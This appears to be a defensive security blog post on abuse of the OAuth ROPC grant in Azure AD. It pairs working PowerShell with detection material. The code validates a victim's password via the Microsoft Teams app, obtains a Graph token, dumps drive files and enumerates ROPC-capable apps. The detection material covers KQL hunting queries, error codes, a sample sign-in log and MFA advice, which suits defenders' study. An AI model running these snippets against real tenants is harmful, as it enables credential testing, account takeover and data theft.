The Resource Owner Password Credentials (ROPC) grant flow is a portion of the OAuth 2.0 protocol that allows an identity provider (here defined as Azure Active Directory) to grant an access token to an application using only a username and password. From a security perspective, this scenario is not recommended because plaintext password credentials should not be shared and because it doesn’t support multi-factor authentication (MFA). ROPC exists for cases where legacy applications need to be supported on top of a modern identity provider “where the resource owner has a[n explicit] trust relationship with the client.”
Why would adversaries care about ROPC?
Adversaries would desire to target the ROPC flow for the following reasons:
- It’s an avenue for targeting and gaining access to Azure AD accounts that do not enforce MFA.
- It’s a very simple method for testing whether or not credentials are valid (i.e., it facilitates password spraying).
- Adversaries know that there’s still not full adoption of MFA and that there are Microsoft applications that still support ROPC.
- Installed, non-first-party Azure AD applications that support ROPC may not handle the credentials in a safe manner, potentially opening themselves up to compromise beyond a single user. ROPC applications require a high degree of trust that they handle and discard credentials in the safest manner possible.
What does an ROPC grant look like?
Let’s say an adversary wanted to validate compromised Azure AD credentials and access that user’s data. One application they might target to validate the credentials and gain access is Microsoft Teams (Application ID: 1fec8e78-bce4-4aaf-ab1b-5451cc387264
), which supports the ROPC flow. With only a single web request, they can validate the credentials and obtain an access token with which they could gain access to the victim resources.
Here’s what the adversary would need to conduct the attack:
- The victim’s Azure AD user principal name (i.e., their email address)
- The victim’s plaintext password
- Optionally, in some cases, the tenant ID of the target Azure AD tenant
- If the email address domain is known, the tenant ID is effectively public knowledge. For example, this URI will resolve the
microsoft.com
domain to their tenant ID of72f988bf-86f1-41af-91ab-2d7cd011db47
:https://login.microsoftonline.com/microsoft.com/.well-known/openid-configuration
. - The tenant ID is optional in many cases, however, as an adversary can use
common
,organizations
, orconsumers
as endpoint names depending upon the configuration of the app. For example:https://login.microsoftonline.com/organizations/oauth2/v2.0/token
- If the email address domain is known, the tenant ID is effectively public knowledge. For example, this URI will resolve the
- The application ID of the ROPC-supporting app being targeted. In this example, we’re going to target Microsoft Teams (
1fec8e78-bce4-4aaf-ab1b-5451cc387264
)
With all the adversary’s requirements met, gaining access is as simple as the following few lines of PowerShell:
$Creds = Get-Credential -Credential 'UnfortunateVictim@thisiswhywecanthavenicethings.onmicrosoft.com' # Change me
$TenantId = '0bf86e45-27ea-4ead-aa72-5403e6e04f41' # Change me
$TeamsAppId = '1fec8e78-bce4-4aaf-ab1b-5451cc387264'
$Form = @{
grant_type = 'password'
client_id = $TeamsAppId
username = $Creds.UserName
password = $Creds.GetNetworkCredential().Password
scope = 'openid offline_access https://graph.microsoft.com/.default'
}
$Arguments = @{
Uri = "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token"
Method = 'Post'
ContentType = 'application/x-www-form-urlencoded'
Body = $Form
}
$Result = Invoke-RestMethod @Arguments
Upon inspecting the $Result
variable, you’ll see output similar to the following (assuming the credentials were valid and that the account does not have MFA enforced):
> $Result
token_type : Bearer
scope : email openid profile https://graph.microsoft.com/AppCatalog.Read.All https://graph.microsoft.com/Channel.ReadBasic.All https://graph.microsoft.com/Contacts.ReadWrite.Shared https://graph.microsoft.com/Files.ReadWrite.All https://graph.microsoft.com/InformationProtectionPolicy.Read https://graph.microsoft.com/MailboxSettings.ReadWrite https://graph.microsoft.com/Notes.ReadWrite.All https://graph.microsoft.com/People.Read https://graph.microsoft.com/Place.Read.All https://graph.microsoft.com/Sites.ReadWrite.All https://graph.microsoft.com/Tasks.ReadWrite https://graph.microsoft.com/Team.ReadBasic.All https://graph.microsoft.com/TeamsAppInstallation.ReadForTeam https://graph.microsoft.com/TeamsTab.Create https://graph.microsoft.com/User.ReadBasic.All https://graph.microsoft.com/.default
expires_in : 8493
ext_expires_in : 8493
access_token : eyJ0e[REDACTED]JZtA
refresh_token : 0.AVIAX[REDACTED]ZCuE
foci : 1
id_token : eyJ0e[REDACTED]UnPTA
With the access token available, based on the scopes permitted, an adversary has a host of tradecraft options available. The following example will demonstrate using the Microsoft.Graph module to perform operations with the acquired access token:
Select-MgProfile -Name beta
Connect-MgGraph -AccessToken $Result.access_token
# Let's say we're interested in operations involving the granted Files.ReadWrite.All scope.
# What operations are available if I have that scope?
# This site is a wonderful resource as well: https://graphpermissions.merill.net/permission/Files.ReadWrite.All
$GraphCommands = Find-MgGraphCommand -Command * -ApiVersion beta
$GraphCommands | Where-Object { $_.Permissions.Name -contains 'Files.ReadWrite.All' } | Select-Object -ExpandProperty Command | Sort
<# Example output:
Copy-MgDriveItem
Get-MgDrive
Get-MgDriveActivity
Get-MgDriveItem
Get-MgUserDrive
Grant-MgSharePermission
Invoke-MgCheckinDriveItem
New-MgDriveItemChild
New-MgDriveItemLink
Remove-MgDriveItem
Remove-MgDriveItemPermission
Search-MgDriveRoot
Set-MgDriveItemContent
etc.
#>
# Now I can perform drive recon and dump file contents among other things...
$RootDrive = Get-MgDrive
$RootDriveItem = Get-MgDriveItem -DriveId $RootDrive.Id -DriveItemId 'root:'
$RootDriveChildren = Get-MgDriveItemChild -DriveId $RootDrive.Id -DriveItemId $RootDriveItem.Id
Get-MgDriveItemContent -DriveId $RootDrive.Id -DriveItemId $RootDriveChildren.Id -OutFile dumpedfile.txt
The scopes granted upon successful authentication and authorization will be dependent upon the scopes that were previously assigned/consented to for the target user and their corresponding role. The ROPC flow does not support requesting user or admin consent. The Auth Code grant flow is necessary to request consent. Once credentials are verified with ROPC, assuming the tenant permits user consent, there’s nothing preventing an adversary from targeting any application of their choosing with the scopes of their choosing (restricted by the victim accounts role/group assignments).
Astute readers familiar with Azure AD attacks may have also noticed the “foci” field in the token information above. This indicates that the issued Microsoft Teams refresh token can be used to obtain an access token for other applications, effectively widening the scopes available to an adversary without even requesting consent.
How do I determine which existing applications support ROPC?
The only way to validate if an application that you don’t own supports ROPC is to supply it with valid credentials for an account that doesn’t have MFA enabled. The following PowerShell code iterates through all default service principal instances (i.e., first-party, default Microsoft applications) and returns applications that successfully authenticate using the ROPC flow.
# Your tenant ID
$TenantID = '0bf86e45-27ea-4ead-aa72-5403e6e04f41' # Change me
# Obtain an MS graph token
Connect-MgGraph -Scopes 'Application.Read.All' -TenantId $TenantID
# Supply the username and password you want to test
$Credentials = Get-Credential
$ROPCSupportedApps = Get-MgServicePrincipal -All | ForEach-Object {
$Form = @{
grant_type = 'password'
client_id = $_.AppId
username = $Credentials.UserName
password = $Credentials.GetNetworkCredential().Password
scope = 'openid offline_access https://graph.microsoft.com/.default'
}
$Arguments = @{
Uri = "https://login.microsoftonline.com/$TenantID/oauth2/v2.0/token"
Method = 'Post'
ContentType = 'application/x-www-form-urlencoded'
Body = $Form
}
$Result = $null
try {
$Result = Invoke-RestMethod @Arguments -ErrorAction SilentlyContinue
} catch {}
# Return an application if ROPC auth was successful
if ($Result.access_token) {
[PSCustomObject] @{
AppInfo = $_
AuthResult = $Result
}
}
}
# List all the applications that successfully issued a token.
# Anything returned from this object confirms:
# 1. That the supplied username and password are valid
# 2. That the application supports the ROPC grant flow
$ROPCSupportedApps
After running this script in our tenant, we saw the following Microsoft applications that support the ROPC flow:
AppId | DisplayName | PublisherName | SignInAudience |
---|---|---|---|
AppId: 14d82eec-204b-4c2f-b7e8-296a70dab67e | DisplayName: Microsoft Graph PowerShell | PublisherName: Microsoft | SignInAudience: AzureADandPersonalMicrosoftAccount |
AppId: e9b154d0-7658-433b-bb25-6b8e0a8a7c59 | DisplayName: Outlook Lite | PublisherName: Microsoft Services | SignInAudience: AzureADandPersonalMicrosoftAccount |
AppId: 87223343-80b1-4097-be13-2332ffa1d666 | DisplayName: Outlook Web App Widgets | PublisherName: Microsoft Services | SignInAudience: AzureADandPersonalMicrosoftAccount |
AppId: f448d7e5-e313-4f90-a3eb-5dbb3277e4b3 | DisplayName: Media Recording for Dynamics 365 Sales | PublisherName: Microsoft Services | SignInAudience: AzureADMultipleOrgs |
AppId: 1fec8e78-bce4-4aaf-ab1b-5451cc387264 | DisplayName: Microsoft Teams | PublisherName: Microsoft Services | SignInAudience: AzureADMultipleOrgs |
AppId: 80331ee5-4436-4815-883e-93bc833a9a15 | DisplayName: Universal Print Connector | PublisherName: Microsoft Services | SignInAudience: AzureADMultipleOrgs |
AppId: dae89220-69ba-4957-a77a-47b78695e883 | DisplayName: Universal Print Native Client | PublisherName: Microsoft Services | SignInAudience: AzureADMultipleOrgs |
AppId: 61ae9cd9-7bca-458c-affc-861e2f24ba3b | DisplayName: Windows Update for Business Deployment Service | PublisherName: Microsoft Services | SignInAudience: AzureADMultipleOrgs |
AppId: 6f0478d5-61a3-4897-a2f2-de09a5a90c7f | DisplayName: WindowsUpdate-Service | PublisherName: Microsoft Services | SignInAudience: AzureADMultipleOrgs |
What story can logs tell about ROPC?
You may want to audit attempted and successful ROPC authentication in your environment in order to baseline what is expected so that anomalies can be identified.
When manually hunting in the Azure AD portal, Microsoft makes it easy to filter based on ROPC authentications. In the following screenshot, successful sign-ins are shown where single-factor ROPC occurs against the Microsoft Graph resource server (the most common scenario):
Unfortunately, neither Log Analytics nor Microsoft Defender 365 Advanced Hunting queries expose an Authentication Protocol
field, so an inference has to be made. ROPC authentication is inferred based on the following:
ClientAppUsed
isMobile Apps and Desktop clients
AuthenticationRequirement
issingleFactorAuthentication
IsInteractive
istrue
- authentications details indicating that an OAuth token was issued
Log Analytics query
SigninLogs | where ResultType == 0 and ClientAppUsed == @"Mobile Apps and Desktop clients" and AuthenticationRequirement == "singleFactorAuthentication" and ResourceDisplayName == "Microsoft Graph" and IsInteractive == true and AuthenticationProcessingDetails contains_cs "Oauth Scope Info"
Microsoft Defender 365 Advanced Hunting query
AADSignInEventsBeta | where ErrorCode == 0 and ClientAppUsed == @"Mobile Apps and Desktop clients" and EndpointCall == "OAuth2:Token" and LogonType == @"[""interactiveUser""]" and AuthenticationRequirement == "singleFactorAuthentication" and ResourceDisplayName == "Microsoft Graph"
If you want to expand your hunting to failed ROPC logon attempts, you may encounter any of the following error codes related to ROPC reconnaissance:
- 50105: Your administrator has configured the application {
appName
} ({appId}
) to block users unless they are specifically granted (assigned
) access to the application. The signed in user {user
} is blocked because they are not a direct member of a group with access, nor had access directly assigned by an administrator. Please contact your administrator to assign access to this application. - 65002: Consent between first party application {
applicationId
} and first-party resource {resourceId
} must be configured via preauthorization—applications owned and operated by Microsoft must get approval from the API owner before requesting tokens for that API. - 700019: Application ID {
identifier
} cannot be used or is not authorized. - 7000218: The request body must contain the following parameter:
client_assertion
orclient_secret
.
Sign-in event investigation
Here is an example sign-in event with extraneous details removed for brevity:
"TenantId": "b7c20a2b-6cb4-4d06-88a2-6e4d2dddcca7",
"SourceSystem": "Azure AD",
"TimeGenerated [UTC]": "5/3/2023, 5:32:36.965 PM",
"ResourceId": "/tenants/d81cff64-0c3b-424e-8d06-561490d3c867/providers/Microsoft.aadiam",
"OperationName": "Sign-in activity",
"OperationVersion": "1.0",
"Category": "SignInLogs",
"ResultType": "0",
"CorrelationId": "43a1e1fd-b44b-44be-a3e3-60fe0031a630",
"Resource": "Microsoft.aadiam",
"ResourceGroup": "Microsoft.aadiam",
"Identity": "Poor Victim",
"Level": "4",
"Location": "US",
"AlternateSignInName": "UnfortunateVictim@thiiswhywecanthavenicethings.onmicrosoft.com",
"AppDisplayName": "Microsoft Teams",
"AppId": "1fec8e78-bce4-4aaf-ab1b-5451cc387264",
"AuthenticationDetails": "[{\"authenticationStepDateTime\":\"2023-05-03T17:32:36.9659099+00:00\",\"authenticationMethod\":\"Password\",\"authenticationMethodDetail\":\"Password in the cloud\",\"succeeded\":true,\"authenticationStepResultDetail\":\"Correct password\",\"authenticationStepRequirement\":\"Primary authentication\",\"StatusSequence\":0,\"RequestSequence\":1}]",
"AuthenticationProcessingDetails": "[{\"key\":\"Legacy TLS (TLS 1.0, 1.1, 3DES)\",\"value\":\"False\"},{\"key\":\"Oauth Scope Info\",\"value\":\"[\\\"AppCatalog.Read.All\\\",\\\"Channel.ReadBasic.All\\\",\\\"Contacts.ReadWrite.Shared\\\",\\\"email\\\",\\\"Files.ReadWrite.All\\\",\\\"InformationProtectionPolicy.Read\\\",\\\"MailboxSettings.ReadWrite\\\",\\\"Notes.ReadWrite.All\\\",\\\"openid\\\",\\\"People.Read\\\",\\\"Place.Read.All\\\",\\\"profile\\\",\\\"Sites.ReadWrite.All\\\",\\\"Tasks.ReadWrite\\\",\\\"Team.ReadBasic.All\\\",\\\"TeamsAppInstallation.ReadForTeam\\\",\\\"TeamsTab.Create\\\",\\\"User.ReadBasic.All\\\"]\"},{\"key\":\"Is CAE Token\",\"value\":\"False\"}]",
"AuthenticationRequirement": "singleFactorAuthentication",
"AuthenticationRequirementPolicies": "[]",
"ClientAppUsed": "Mobile Apps and Desktop clients",
"ConditionalAccessPolicies": "[]",
"ConditionalAccessStatus": "notApplied",
"CreatedDateTime [UTC]": "5/3/2023, 5:32:36.965 PM",
"DeviceDetail": "{\"deviceId\":\"\",\"operatingSystem\":\"Windows 10\"}",
"IsInteractive": "true",
"Id": "031fdefe-7652-4349-be8d-bc0db2b5c200",
"IPAddress": "REDACTED",
"IsRisky": "",
"LocationDetails": "{\"city\":\"REDACTED\",\"state\":\"REDACTED\",\"countryOrRegion\":\"US\",\"geoCoordinates\":{\"latitude\":REDACTED,\"longitude\":REDACTED}}",
"MfaDetail": "",
"OriginalRequestId": "031fdefe-7652-4349-be8d-bc0db2b5c200",
"RiskDetail": "none",
"RiskEventTypes": "[]",
"RiskEventTypes_V2": "[]",
"RiskLevelAggregated": "none",
"RiskLevelDuringSignIn": "none",
"RiskState": "none",
"ResourceDisplayName": "Microsoft Graph",
"ResourceIdentity": "00000003-0000-0000-c000-000000000000",
"ResourceServicePrincipalId": "15763fce-1a0c-461d-9279-27474b0622df",
"ServicePrincipalId": "",
"ServicePrincipalName": "",
"Status": "{\"errorCode\":0}",
"TokenIssuerName": "",
"TokenIssuerType": "AzureAD",
"UserAgent": "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.963",
"UserDisplayName": "Poor Victim",
"UserId": "b4ee295b-80cb-4bc1-a69e-b356dd5064ba",
"UserPrincipalName": "UnfortunateVictim@thiiswhywecanthavenicethings.onmicrosoft.com",
"AADTenantId": "d81cff64-0c3b-424e-8d06-561490d3c867",
"UserType": "Member",
"FlaggedForReview": "",
"IPAddressFromResourceProvider": "",
"SignInIdentifier": "UnfortunateVictim@thiiswhywecanthavenicethings.onmicrosoft.com",
"SignInIdentifierType": "",
"ResourceTenantId": "d81cff64-0c3b-424e-8d06-561490d3c867",
"HomeTenantId": "d81cff64-0c3b-424e-8d06-561490d3c867",
"UniqueTokenIdentifier": "_t4fB1J8SUO-jbcFprXCAA",
"AppliedConditionalAccessPolicies": "",
"RiskLevel": ""
When baselining normal ROPC authentication activity, here are some questions to consider:
- How often is ROPC authentication used against the application, Microsoft Teams (
1fec8e78-bce4-4aaf-ab1b-5451cc387264
) in this case? - How often is Microsoft Teams even used within the tenant, regardless of the authentication type?
- Does the IP address have an established reputation?
- Did the request occur from an expected geographical location?
- What is normal sign-in behavior for the logged user? Does that user perform ROPC authentication normally?
- Is the user agent common/expected in the tenant?
Does my application support ROPC?
It’s easy to quickly identify apps that you own in your tenant that support the ROPC flow. The following PowerShell code will list all applications within your tenant that support ROPC:
# Obtain an MS graph token
Connect-MgGraph -Scopes 'Application.Read.All'
# List all applications that support ROPC - i.e. have "Allow public client flows" enabled.
Get-MgApplication -All | Where-Object { $_.IsFallbackPublicClient }
Conclusion
The most important takeaway from this post should be a call to action to enforce MFA within your tenant to the greatest extent possible. ROPC is not itself a security issue, but it enables an adversary to perform password spraying against accounts that do not have MFA enabled. In other words:
ROPC should not be the target of your concern. Worry about accounts that don’t have MFA enabled!
If you would like to get a sense of which accounts do not have MFA enabled, run the following PowerShell one-liner from the MSOnline module:
Get-MsolUser -All | Where-Object { -not $_.StrongAuthenticationRequirements }